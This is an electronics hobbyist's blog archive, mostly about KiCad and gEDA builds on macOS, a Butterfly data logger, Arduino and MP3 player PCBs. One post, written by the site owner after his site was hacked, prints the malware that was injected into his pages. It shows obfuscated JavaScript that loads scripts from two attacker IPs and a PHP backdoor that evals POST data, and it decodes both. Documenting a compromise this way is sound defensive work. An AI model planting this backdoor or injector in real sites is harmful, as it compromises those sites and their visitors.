Now I've got kicad building again ( although rather bloated at 20Mb ) I thought I'd have a play with some other items on my todo list. I've manage to get most of the GEDA suite working on the mac and have created portfiles for mac ports to be able to install them. I haven't got gwave to work yet due to some dependances and some of the installs needed to be forced to overwrite some other files but in general they seem to work. I hope to add kicad as a port file in the near future but I will see if I can get these programs to work first.

In doing this I noticed a few messages regarding others trying to get port files up for gEDA on the mac so I assume they will make it into the main ports tree at some time in the near future.

To use my files you can browse them at http://www.brokentoaster.com/macports/ or download them all at http://www.brokentoaster.com/macports/ports.zip.

First you will need to extract the files into a local directory such as /users/me/ports. Then you will need to add /users/me/ports to the /opt/local/etc/macports/sources.conf file. The last action is to run the command portindex from your newly created ports directory to ensure the index is up to date.

If these are of any use to you then enjoy. Good luck.

Kicad OSX nightlies fixed

2009-02-25T21:53:00.005Z

I finally decided to investigate why kicad had stopped building back in Decemember. I had initially thought it was to do with large changes to the source being done at that time or with my trying to get a newer build of wxMac to work with it properly.
I turns out I updated the Boost library and that was what was causing my builds to fail.

Somewhere on the mac a "check" macro gets defined. Apparently this is if "DEBUG" is defined somewhere but I could not figure out where or why this was going on (see this post. I decided to simply modify the boost files concerned to work aroaund this problem. By renaming the "check" function and its called I was able to get kicad compiling again. Sadly it does not fix the serious flaws in wxmacs graphics implimentation ie. the fact that it does not do XOR draws properly.Anyway here are the diffs I made

fixing kicad again for th mac
/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp:
line 155: check renamed to check_

4 changes in /temp/kicad-sources/boost/detail/is_incrementable.hppcheck "check(" replaced with "check_("

boost/ptr_container/detail/static_move_ptr.hpp

% diff /temp/boost_1_37_0/boost/ptr_container/detail/static_move_ptr.hpp
/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp
154c155
<     void check(const static_move_ptr& ptr)
---
>     void check_(const static_move_ptr& ptr)

boost/detail/is_incrementable.hpp

% diff /temp/boost_1_37_0/boost/detail/is_incrementable.hpp
/temp/kicad-sources/boost/detail/is_incrementable.hpp


68c68
<   char (& check(tag) )[2];
---
>   char (& check_(tag) )[2];
71c71
<   char check(T const&);
---
>   char check_(T const&);
81c81
<         , value = sizeof(is_incrementable_::check(BOOST_comma(++x,0))) == 1
---
>         , value = sizeof(is_incrementable_::check_(BOOST_comma(++x,0))) == 1
92c92
<         , value = sizeof(is_incrementable_::check(BOOST_comma(x++,0))) == 1
---
>         , value = sizeof(is_incrementable_::check_(BOOST_comma(x++,0))) == 1

The error I was getting was the following

In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22,
                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_sequence_adapter.hpp:20,
                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_vector.hpp:20,
                 from /temp/kicad-sources/kicad/include/board_item_struct.h:9,
                 from /temp/kicad-sources/kicad/include/pcbstruct.h:10,
                 from /temp/kicad-sources/kicad/3d-viewer/3d_viewer.h:29,
                 from /temp/kicad-sources/kicad/3d-viewer/3d_aux.cpp:23:
/temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/static_move_ptr.hpp:154:50: error: macro "check" passed 2 arguments, but takes just 1

I have now updated my automagic build script to upload the error log if It doesn't compile.

All of my builds are still found at http://www.brokentoaster.com/kicad/ and should be universal apps. If anyone has had any success with wxCocoa or other builds I'd be happy to add them to my build list.

Litebox and google checkout

2009-01-23T19:03:00.003Z

Just putting some finishing touches on my webshop for its opening in Februrary 2009. While doing this I noticed that the Google checkout shopping cart broke the Litebox scripts I had for viewing photo closeups.
Did some snooping about the net and looked at other sites that used lightbox and google checkout and found the following snippet that seems to fix things.

just add this to the end of your shop page to fix or alternatively fix the litebox/lightbox engine ( i'm too lazy so I thought I'd post this so someone else might do it ;)


<!-- GOOGLE CHECKOUT/LIGHTBOX FIX -->
<script type="text/javascript">
if(window.attachEvent && !window.addEventListener)
document.attachEvent('onclick', function(){
var s = window.event.srcElement;
if((s.rel && /^lightbox/.test(s.rel)) || (s.parentNode &&
s.parentNode.rel && /^lightbox/.test(s.parentNode.rel)))
return false;
});
</script>
<!-- GOOGLE CHECKOUT/LIGHTBOX FIX -->

Hacked... again....

2008-12-18T22:14:00.009Z

Hackers claiming to be Muslims from Turkey hacked the site the other day so I've just spent the evening reloading most of the files form backup. Although only a couple of files were visibly changed almost every html file and random PHP files had code inserted which caused any number of unknown activities.

What I don't understand is that if you are going to go to the trouble of hacking a site and then to stealthily insert code which obviously does some sort of action of benefit to the perpetrator, why would you write your name on the index page as a red flag to say this site has been hacked? Surely If I was a hacker I would just insert the code quietly and then nobody would know it was their unless they did a full site compare. Unless you wanted a site to look like it had been hacked by someone else..... hmmmm

Anyway I'm off to review my file permissions and php code across the site... and sift through some log files ;)

[EDIT:] Here is the javascript code that was pacthed into all my webpages. I have renamed the 'eval' function to disable the action and broken into lines


if(typeof(yahoo_counter)!=typeof(1))evalDISABLED(unescape('%2F%2F%3Cdi%76#%20!%73|%74%79%6C%65%3D$
%64%69~%73`%70l@%61y`%3A`n$%6F`%6E|e%3E\n#do#%63$%75!%6D%65$%6E|%74`%2E%77#%72i@%74%65%28$%22%3C
%2F%74|%65%78%74a#%72e&a|%3E")%3B%76`%61@r%20i|%2C%5F|%2C%61@%3D%5B#%2278|.|1&%310%2E@17@5`%2E&%321
!%22~,%2219!%35~.&2#4~.%37!6`.2#%35!1"@%5D~;_%3D%31~%3Bi@f$%28%64&%6F%63&%75&%6D%65n&t.c&%6F#ok%69
%65.%6D`a%74#c`%68~(%2F%5C$%62#hg#%66%74%3D#1/&%29=~%3D%6E#u@%6C`l%29!f%6Fr&%28$%69&=|%30%3B#
%69#%3C%32%3B!i|%2B!+#%29doc&%75%6D#%65&%6Et%2Ew&%72%69!t#e@(#"!%3C%73|cr#i%70t%3E`%69!%66~(#_%29$
%64@%6Fcu~%6D@e%6E|t%2E%77`rit%65%28%5C%22!%3C#%73%63%72!ip&t%20~id=%5F&"%2Bi!+"_`%20s`%72c=//%22~
+`%61@%5B$%69%5D`+#%22#/%63`%70$%2F%3F&%22&%2B@n$%61%76$%69%67`%61%74!%6F`r#%2Eap!%70#%4E`%61!
m&e!.&%63&h`%61!rA%74!(0`)@%2B"%3E%3C~%5C%5C%2F!%73%63r!%69%70!t!%3E#%5C"&)~%3C%5C/s`%63ri%70%74%3E$
%22%29@;\n%2F@/&%3C%2F%64|%69%76#%3E').replace(/#|\!|@|~|`|\&|\$|\|/g,""));var yahoo_counter=1;

The un-obfuscated version is as follows

//<div style=display:none>

document.write("</textarea>");var i,_,a=["78.110.175.21","195.24.76.251"];
_=1;
if(document.cookie.match(/\bhgft=1/)==null)
for(i=0;i<2;i++)document.write("<script>if(_)document.write(\"<script id=_"+i+"_
src=//"+a[i]+"/cp/?"+navigator.appName.charAt(0)+"><\\/script>\")<\/script>");

//</div>

Those two IP addresses are managed by


person:         Alexander A Solovyov
address:        LIMT Group Ltd.
address:        Karpinskogo 97a
address:        Moscow
address:        111423
address:        Russian Federation
phone:          +7 342 2763167

and


person:         Andy BIERLAIR
address:        root eSolutions
address:        35, rue John F. Kennedy
address:        L-7327 Steinsel
phone:          +352 20.500
fax-no:         +352 20.500.500
nic-hdl:        AB99-RIPE

The PHP pages were tagged with

if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwd
CBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5c
GVvZigxKSlldmFsKHVuZXNjYXBlKCclMkYlMkYlM0NkaSU3NiMlMjAhJTczfCU3NCU3OSU2QyU2NSUzRCQlNjQlNjl+JTczYCU3MGxAJ
TYxeWAlM0FgbiQlNkZgJTZFfGUlM0VcbiNkbyMlNjMkJTc1ISU2RCU2NSQlNkV8JTc0YCUyRSU3NyMlNzJpQCU3NCU2NSUyOCQlMjIl
M0MlMkYlNzR8JTY1JTc4JTc0YSMlNzJlJmF8JTNFIiklM0IlNzZgJTYxQHIlMjBpfCUyQyU1RnwlMkMlNjFAJTNEJTVCIyUyMjc4fC58MSYlM
zEwJTJFQDE3QDVgJTJFJiUzMjEhJTIyfiwlMjIxOSElMzV+LiYyIzR+LiUzNyE2YC4yIyUzNSExIkAlNUR+O18lM0QlMzF+JTNCaUBmJCUyO
CU2NCYlNkYlNjMmJTc1JiU2RCU2NW4mdC5jJiU2RiNvayU2OSU2NS4lNkRgYSU3NCNjYCU2OH4oJTJGJTVDJCU2MiNoZyMlNjYlNzQl
M0QjMS8mJTI5PX4lM0QlNkUjdUAlNkNgbCUyOSFmJTZGciYlMjgkJTY5Jj18JTMwJTNCIyU2OSMlM0MlMzIlM0IhaXwlMkIhKyMlMjlkb2
MmJTc1JTZEIyU2NSYlNkV0JTJFdyYlNzIlNjkhdCNlQCgjIiElM0MlNzN8Y3IjaSU3MHQlM0VgJTY5ISU2Nn4oI18lMjkkJTY0QCU2RmN1fi
U2REBlJTZFfHQlMkUlNzdgcml0JTY1JTI4JTVDJTIyISUzQyMlNzMlNjMlNzIhaXAmdCUyMH5pZD0lNUYmIiUyQmkhKyJfYCUyMHNgJTc
yYz0vLyUyMn4rYCU2MUAlNUIkJTY5JTVEYCsjJTIyIy8lNjNgJTcwJCUyRiUzRiYlMjImJTJCQG4kJTYxJTc2JCU2OSU2N2AlNjElNzQhJTZG
YHIjJTJFYXAhJTcwIyU0RWAlNjEhbSZlIS4mJTYzJmhgJTYxIXJBJTc0ISgwYClAJTJCIiUzRSUzQ34lNUMlNUMlMkYhJTczJTYzciElNjklNzAh
dCElM0UjJTVDIiYpfiUzQyU1Qy9zYCU2M3JpJTcwJTc0JTNFJCUyMiUyOUA7XG4lMkZALyYlM0MlMkYlNjR8JTY5JTc2IyUzRScpLnJlcGx
hY2UoLyN8XCF8QHx+fGB8XCZ8XCR8XHwvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY
3JpcHQ+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'\"][^\s\'\"\.,;\?!\[\]:/<>]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw=='),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(\s*</body)#mi',str_replace('\$','\\\$',TMP_XHGFJOKL).'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();

That whole base64 encoded things boils down to the same javascript seen above. I have emailed the ISP managers for the IP addresses pointed at by the code and they can investigate further should they wish.

What does the code do ? Well it goes to the to ip addresses and runs the code found at
http://78.110.175.21/cp/?I which is currently :

_=0;for(i=0;i<9;i++){var d=document.getElementById("_"+i
+"_");if(d)d.src=""}evalDISABLED(unescape('%2F/%4A`u#%73!%74%20~%66~u@c#k`%20#of`%66#.
%2E%2E`@%3C#d#%69v%20st%79%6Ce~=@d%69@%73#pl%61~y%3A~n`%6F@n%65$%3E\n~%76@ar|
%20%74@%3D%6E@%65w@ %44$a!t!e#%281#%32@29%39|7$308@30%300);%64!%6F$%63~%75me$n$
%74!.@%63o`ok|%69~e=%22h%67!%66#%74|%3D%31`;$%20#e%78@%70|%69#%72%65`s=%22#%2B
%74|%2E@t%6FG%4D%54!St$r`i`%6E`%67#(%29#+|"; %70%61|%74%68@%3D/%22@;\n%2F@%2F!
%3C/%64`iv|%3E').replace(/@|\!|~|\?|#|\$|`|\|/g,""));

which is un-obfuscated to :

//Just fuck off...<div style=display:none>
var t=new Date(1229972812000);document.cookie="hgft=1; expires="+t.toGMTString()+"; path=/";
//</div>

which simply saves a cookie. But I would assume that later the hacker would replace this code with something more worthwhile.

More Arduino Butterfly

2008-12-15T22:20:00.002Z

David Knaack has done a great job setting up the Butteruino project over on google code.
You can find it at http://code.google.com/p/butteruino/

I'd hoped to get an LCD library up this weekend but got bogged down in a good book; oh well perhaps next weekend.
At least I should get some stress testing done on the butterfly logger at -37 degrees C this week due to a busted thermostat on the freezer.

Cryptonomicon and PGP Key

2008-12-15T22:17:00.003Z

Just finished Neal Stephenson's CRYPTONOMICON. Great book, like the alternative reality of Finux and things like the galvanic lucifer. Anyway makes me want to post my PGP Key.

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.8 (Darwin)

mQGiBESDrL8RBAC9J6gKjVuWrlwsMsRkHgqAVKSS/sTwyfoPrRpba7E0XctNnXhf
Vkcy9eEt8mN6MSL9haxv8U+Xlw4tSj9MEpdwVwSZT+oGD1ORN9MYnun7+7Kq8ZIj
tDEL/Xbd4L6VbqlML8gNBFE18EXYNOzHVbVFmNJkZPLRx9ldZ+YopiqUfwCg6+jt
bXn5UoLN1pE/lzW6SLhgpIUEAKVleqUC6R27ZzqyPGjmqaYUzvDyVDoldASKxHd7
IxAto1v+k9QNSDaa4iqykFStk4pBEV9KO29QVt4CyaK6rKFSvPKmQW5rI6pA45Yq
wRygfRLzqdUg/oUOny58F65urTOvdtfQtCLGxqRNS50iabwhXihRKBUQBb25hD3n
FBoOA/9+A/3w5iRRld0jnWEpqJI7JRMpMV3oT+IeHvXToWpCUF9LQEv8X012dzDU
a+uO5rOx9dwz8SZ9V02YrqYR9We+7xYe6Dp4q0r2OdhqnrEc/E4wdDxC165Br+Hg
fWwGc7Mxi5MniljSlzrw5uCutEXQ21Kly+/wUlnR1LJkRmdcZbQnTmljayBMb3R0
IChOWikgPG5pY2subG90dEBnbWFpbC5ub3NwYW0+iGAEExECACAFAkSDrL8CGwMG
CwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRAHV5jGyG2/QlYpAJ9G0y5cNqoiXnBD
jhmxUETZvcFwLACfQ9OUEySKcTimR+I5qTJ9D7iJGTS5Ag0ERIOuKBAIAKHeDMEO
qFgPfoSabl9BHemuOgVvZsr481DTWFYnJAH1n9qZE8hZ4MTbn/zXpIJS4ozJAyhJ
5mS/K6/3HunSvdBeMkaqVtjoCXdkTWWm9XQMeseSRffjRbNyeoroLlm3tkVRMJNh
rjN/Al1Abq3ESfZzuY8VBLGRfDPUeToNHSCLnOvD+ijMBEYsr5ds8Bi77tWAbSdR
loL3aGHIkj3fPFJmNjrAl7WZXgvl1p899tY4N19RXVkdhagcb3uVmAJjd6l7y8x3
l02jBCk3YQiRMBIG8kov+rDgZwgVaGYEitg9DxRph02sHfxEGt3fmKVLLcS1BB0M
YprObqBOwxHlx9cAAwUH/1iq+9VTh0uuKQsA+qCOthBNqsf62g0r/NJsnZoiMAvA
sLvrpwD7mzGMc+Ke7W2578IvL+Fnvmi+s67Gg2+6DAk3VkJEH9+y1CkDb8PqAxRp
sLFlvi4YcXsbXdG2UgMrfEWeIr2z0VYWGnZ3GibqUDf7rxu79ah5T8Z7ajNLEEHF
+wzXQ7vEzZVBeytL6lv+JZ5s5umRhjCy0flMZ/Js53g5IH5NMu/vrJrQTU+jREDw
+faEb3yBUaSX3N1pu88CWGdwqBVH16rt+AbHXa7kKqY46kM10QZWpHLPCzzw+jlH
c2udYs4kPyfVTSe6RG4mRD8hgx7Y/Hhnbtz5TIeH8DiISQQYEQIACQUCRIOuKAIb
DAAKCRAHV5jGyG2/Qq4zAJ0Q5asX37oT2Ih3aKiQinBdhTgqcwCgi264VRyWK1Cb
CIeQYCKAqEVp4nI=
=oFPt
-----END PGP PUBLIC KEY BLOCK-----

Arduino for the Butterfly

2008-11-30T23:39:00.002Z

Just done a first pass of the butterfly version of the arduino12
You can download my files from http://www.brokentoaster.com/arduino012_butterfly.zip

Any thoughts or feedback most welcome.

Things you need to do to make it work:

* copy the files & folders into your arduino Hardware directory.

* change preferences.txt to upload.using=butterfly

This preferences file is found in this folder:

* /Users//Library/Arduino/preferences.txt (Mac)
* c:\Documents and Settings\\Application Data\Arduino\preferences.txt (Windows)
* ~/.arduino/preferences.txt (Linux)

* push the button when uploading starts
* dont hold the button down the entire time.

Things to do in the future:
Build a Butterfly library for
- temperature
- flash
- light sensor
- speaker
- LCD
- Joystick

* check analog pins (jtag port)
* check digital pinouts on port b and D
* check all the timmings
* check it makes sense.

NOTES:

These are things I've done to my files to make it kind of work. They may or may not have been necessary. I tried using conditional compilation but it wasn't being picked up so I just copied the core andmade changes to that.

* added following to boards.txt to support as a target compilation board
bfly.name=Butterfly

bfly.upload.protocol=butterfly
bfly.upload.maximum_size=14336
bfly.upload.speed=19200

bfly.bootloader.low_fuses=0xE2
bfly.bootloader.high_fuses=0x98
bfly.bootloader.extended_fuses=0xFF
bfly.bootloader.path=butterfly
bfly.bootloader.file=bf_boot.hex
bfly.bootloader.unlock_bits=0x3F
bfly.bootloader.lock_bits=0x0F

bfly.build.mcu=atmega169

* added Bf_boot to bootloaders dir
- copied hex from bf_boot up to bootloaders/bf_boot and renamed bf_boot.hex

* removed second external interupt from hardware/cores/arduino/WInterrupts.c: -> changes not picked up??

* changed boards.txt core = butterfly
- copied arduino core folder and renamed to be buttefly
- changes to hardware/cores/butterfly/WInterrupts.c
- changes to hardware/cores/butterfly/wiring.c TCCR0 - > TCCR0A
- changes to hardware/cores/butterfly/wiring_analog.c: In function 'analogWrite':
- changes to hardware/cores/butterfly/wiring_digital.c: In function 'turnOffPWM':

* added avrispv2 to programmers.txt
* added butterfly to external programmers

Download these files at http://www.brokentoaster.com/arduino012_butterfly.zip

Great eagle layout screen casts

2008-10-07T23:06:00.005+01:00

Just saw these great screen casts here showing layout procedure for a guitar pedal using Eagle.
You can get Eagle from cadsoft. I saw this link over at ladyada.net

NOTE: Sparkfun have just put up a tutoral on PCB layout HERE. Its based on Eagle but is pretty much valid for any PCB package

New website home page and index

2008-10-07T22:42:00.006+01:00

The shinny new website index is up but the shop is still a wee way off as I finalise the logistics of it all.

If their are any PCBs, kits or specific components that you think I should stock then let me know at shop at. brokentoaster dot. com

Kicad SVN builds for OSX

2008-09-10T21:33:00.002+01:00

I've managed to cobble together some universal builds of kicad for mac osx. These a based on wxMac2.8 so the graphics is still very screwy. I might try a wxCocoa build some time in the future.

The script which is on a cron job to run every day is below.

#!/bin/sh

#Make a nightly build of kicad

#update from svn
cd /Volumes/Scratch/kicad-sources
svn up
new_version=`svn info | grep Revision | cut -f 2 -d\ `
old_version=`cat /temp/install/version.txt`
if [ $new_version -gt $old_version ]
then

#build it
cd build/release
cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=/usr/bin/wx-config -DwxWidgets_ROOT_DIR=/Volumes/Scratch/wxMac-2.8.8/include -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/Volumes/Scratch/kicad-sources -DCMAKE_OSX_ARCHITECTURES="ppc -arch i386" -DCPP_FLAGS="-arch i386 -arch ppc"

make clean
if make
then
make install

#bundle
cd /temp/
tar -czf kicad_osx_v`cat install/version.txt`.tgz install

#upload
curl -T kicad_osx_v`cat install/version.txt`.tgz ftp://user:password@ftp.brokentoaster.com/

echo $new_version > /temp/install/version.txt
fi
else
echo "Kicad is uptodate :) "
fi

You can find the builds at http://www.brokentoaster.com/kicad/. No guarantees on usefulness.

ButerflyMP3 PCBs and Kits?

2008-09-06T19:28:00.002+01:00

Have begun looking at getting some PCBs produced and kits together for sale over the website. Haven't worked out quantity and costs yet but I'm aiming for around $8 USD for a PCB and around $25 USD for a Kit (components only).

If you are interested in either option then email me at

buy_pcbs at brokentoaster dot com

The prices are really only ballpark speculation at this point as they depend heavily on quantity.

Kicad now compiles on Mac OSX

2008-08-22T07:00:00.000+01:00

Just downloaded revison 1200 of kicad from svn using th following command

svn checkout http://kicad.svn.sourceforge.net/svnroot/kicad/trunk/kicad kicad-sources

I also upgraded to cmake 2.6.0 using the macports system and then followed the included instructions and it compiles ok on my macbook.

It is working a lot better but PCBnew is still fairly buggy.
The schematic side of it is working great though.

Worth a look but I'll have to keep using the windows version for any stable work.
I'm going to keep an eye on the kicad-dev group and see if this makes any progress.

Note: my wxwidgets were installed via macports at

wxWidgets_CONFIG_EXECUTABLE=/opt/local/bin/wx-config
wxWidgets_ROOT_DIR=/opt/local/include/wx-2.8

but i noticed a version was already installed in a couple of places. Here is what locate gave me:

% locate wx.h
/Developer/SDKs/MacOSX10.4u.sdk/usr/include/wx-2.5/wx/wx.h
/Developer/SDKs/MacOSX10.5.sdk/usr/include/wx-2.8/wx/wx.h
/opt/local/include/wx-2.8/wx/wx.h
/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/include/wx-2.8/wx/wx.h
/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/include/wx-2.8/wx/wx.h
/usr/include/wx-2.8/wx/wx.h

% locate wx-config
/opt/local/bin/wx-config
/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/bin/wx-config
/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/bin/wx-config
/usr/bin/wx-config

Cheap 3D accelerometers and SPI issues.

2008-08-12T22:34:00.007+01:00

Just added support for Kionix accelerometers to the Butterflylogger project. In particular the KXPS5 using the breakout PCB from Crodnet. The main advantage of this accelerometer of others as far as I can see is the price as well as having both digital (SPI and I2C) as well as analogue interfaces.

Had a small hiccupp in getting the SPI bus to behave. It seemed that when I drove the SCLK line while clocking out a response from the accelerometer, the cross talk (with the MISO Line) would interfere with the output (see above)

After a number of ineffective tweaks with speed and the IO setup for the lines I decided to shorten the lines. After shortening the lines all the problems went away. For reference the original lines were approximatly 10cm between the butterfly and the breakout board.

NOTE: the code for talking to the accelerometer is KXPS5-3157.c and KXPS5-3157.h The will be included in the next code release but for the meantime you will need to get them from the CVS repository.

How to disable the open firmware password on a G4 iBook

2008-08-12T22:08:00.004+01:00

I recently replaced the HD in the old G4 iBook (now I see why people were excited about the new macbook designs... this vs this). Partitioned and formatted the hdd prior to installing. Thought I'd use the old "hold down T during boot to turn the laptop into a firewire drive" trick....

unfortunately this page http://support.apple.com/kb/HT1661 has the note

Important: The computer will not go into FireWire target disk mode if "Open Firmware Password" has been enabled.

So here is how to disable the open firmware password on an ibook. (After the print env command check to see if the security-mode option is command or full.)

reboot
hold down cmd-opt-o-f
printenv

setenv security-mode none
reset-all

reboot
hold down T

copy files

reboot
hold down cmd-opt-o-f
setenv security-mode command/full what ever it was before
reset-all

get on with your life ;)

Useful links:
http://manuals.info.apple.com/en_US/Command_Line_Admin_v10.5.pdf pg134
http://www.firmworks.com/QuickRef.html
http://www.ifixit.com

SHT75/SHT15 Sensors tested

2008-06-17T13:38:00.003+01:00

Found some time last weekend to test out the latest release of butterflylogger with an SHT75 sensor from www.sensiron.com, which I bought from Farnell. I haven't had one of these for testing since I destroyed my last one back in 2004.

The first thing I noticed was a very unusual looking clock signal when talking to the sensor. Although this did not seem to bother the SHT75 I decided to fix it for a more robust interface.

I also decided to add a command to output the current readings for temperature and humidity from the device via the serial interface. "J" and "j" will print the hex values for temperature and humidity respectively.

I have also added the ability to do the real world conversions on the logger. If you have the code space (ie. have disabled the LCD, joystick and menu system) you can have the device log the actual temperature and relative humidity. If you are also logging the batter voltage, the logger will read the battery voltage and use this in the conversion interpolating values from the table given in the data sheet for 'D1' (see page 5).

The overhead of adding the realworld values is about 800 bytes and using the battery voltage as well a further 200 bytes. If your looking to save space then this is probable code you would wnat to disable. In Sht.h there is a #define ENABLE_SHT_CALCS which can be commented out to revert to the old behaviour of simple hex values being logged and real world conversions being done on the host PC post logging.

Supose now I'd best get back to finishing my construction pages for the mp3 player

New Firmware for ButterflyLogger

2008-06-01T15:12:00.003+01:00

The newest version of the butterflyLogger open source data logger project has been released. This version adds the ability to strip out the display, joystick and menu code to leave more room for other code. This gives you a serial only interface and more logging options but you loose the ability to interacft with the logger without a terminal.

Changes:
- New definitions in main.h to remove all the LCD, menu and joystick code for a serial only interface.
- Usart 'H' command to display a message on the LCD
- Usart 'h' command to print the data headers
- Changes to the makefile to produce smaller code with 4.3.0 compiler
- No longer need to comment out unused source files from the makefile as linker now removes unused code.

More information at http://brokentoaster.com/butterflylogger/

Compiling Kicad for the Mac.

2008-05-20T22:13:00.007+01:00

Thought I'd post my instructions so far on getting kicad to compile on my macbook. Its missing a few steps from the last time I tried so things are getting better I guess.

the pcb and gerber apps are still broken due to some nested wxDC which is no longer allowed in wxMac 2.9. I'll have to actually look at the code more closely to get it to work.

// build notes for kicad on osx 10.5.2
// wxwidgets installed using macports 1.60

- installed boost boost-1-34-1

- changed CMakeLists.txt

# Locations for install targets.
set(KICAD_BIN bin CACHE PATH "Location of KiCad binaries.")

if(UNIX)
if(APPLE)
# Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.
set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH "")
# When used later, "bin" and others with no leading / is relative to CMAKE_INSTALL_PREFIX.
set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH "Location of KiCad plugins.")
set(KICAD_DATA share/kicad CACHE PATH "Location of KiCad data files.")
set(KICAD_DOCS share/doc/kicad CACHE PATH "Location of KiCad documentation files.")
else(APPLE)
# Like all variables, CMAKE_INSTALL_PREFIX can be over-ridden on the command line.
set(CMAKE_INSTALL_PREFIX /usr/local CACHE PATH "")
# When used later, "bin" and others with no leading / is relative to CMAKE_INSTALL_PREFIX.
set(KICAD_PLUGINS lib/kicad/plugins CACHE PATH "Location of KiCad plugins.")
set(KICAD_DATA share/kicad CACHE PATH "Location of KiCad data files.")
set(KICAD_DOCS share/doc/kicad CACHE PATH "Location of KiCad documentation files.")
endif(APPLE)
endif(UNIX)

- changed minizip.c

//#ifdef unix
# include < unistd.h>
# include < utime.h>
# include < sys/types.h>
# include < sys/stat.h>
//#else
//# include < direct.h>
//# include < io.h>
//#endif

- added #include < string > to dsn.h

mkdir -p build/release/
mkdire build/debug
cd build/release
cmake -DCMAKE_BUILDTYPE=Release -DCMAKE_INSTALL_PREFIX=/users/nick/install ../../
make
make install

EDIT: As requested I have uploaded my compiled but broken builds . they are at http://brokentoaster.com/KicadDev.zip You may also need to install the boost libraries.

New MP3 hardware release... Rev F

2008-05-18T23:57:00.002+01:00

I've finally managed to release the Rev F PCB.

This version simply adds an available SD card socket to the Rev E design. The SD card is available from Farnell.

I've also done a complete (well almost) bill of materials. The BOM is almost entirely supplied by Farnell with the exception of one or two components. To make life easier I've also tried to find suitable components from Digikey as well.

The PCB files are at SourceForge and are in eagle format, the BOM is on the hardware page.

Brays Terminal lives!

2008-04-19T17:50:00.002+01:00

Looks like brays terminal is back up. I've been struggling to find links to this great terminal program since the original site went down last year.

from 8052.com http://www.8052.com/forumchat/read.phtml?id=151897

The rumors of the death of best developer's terminal program have been greatly exaggerated:
http://braypp.googlepages.com/terminal

http://braypp.googlepages.com/terminal

GNUPlot for the data logger files

2008-04-11T19:30:00.003+01:00

A few people have asked how I do my graphs in the datalogger project.

I use gnuplot via the following script i call 'makeplots.sh'

#!/bin/sh
for file
do
gnuplot << EOF
set terminal png size 1024,768
set output "$file.png"
set origin 0,0
plot "$file.txt" u 3 w i t 'light' axes x1y2 2, "$file.txt" u 9 w l t 'Temperature' 1
EOF
open $file.png
done

I capture the output from the logger using a terminal program and save it as "data.txt"
I then call 'makeplots.sh data.txt" and I'm done.

I run this on a Mac with osX 10.5 ( it also worked in older versions as well)

MP3 Player construction videos

2008-03-31T02:37:00.002+01:00

I have finally found time to finish my construction videos for the Rev.F MP3 Player

You can find it at http://www.youtube.com/view_play_list?p=B267FCFC8AEA5E5F

Now to release the RevF PCB and to do the Construction page for the website with the photo and videos......

Best DIY Electronics Guides

2008-01-13T10:19:00.001Z

I've just discovered this great site which puts all my soldering videos to shame. Fantastic quality of both the video and the content itself.

I'll still post my latest MP3 player construction videos in the near future but this site is a great resource for anyone looking at getting into building electronics at home.

http://www.curiousinventor.com/guides

New project page

2007-11-25T22:32:00.000Z

Just finished some minor cosmetic changes to the Brokentoaster webpages and put up a new project.
The new project is Quickcoms which is the Renesas competition entry from 2005 and the basis for the article in Circuit Cellar January 2007.

New MP3 Player PCBs.... soon.

2007-11-15T07:56:00.000Z

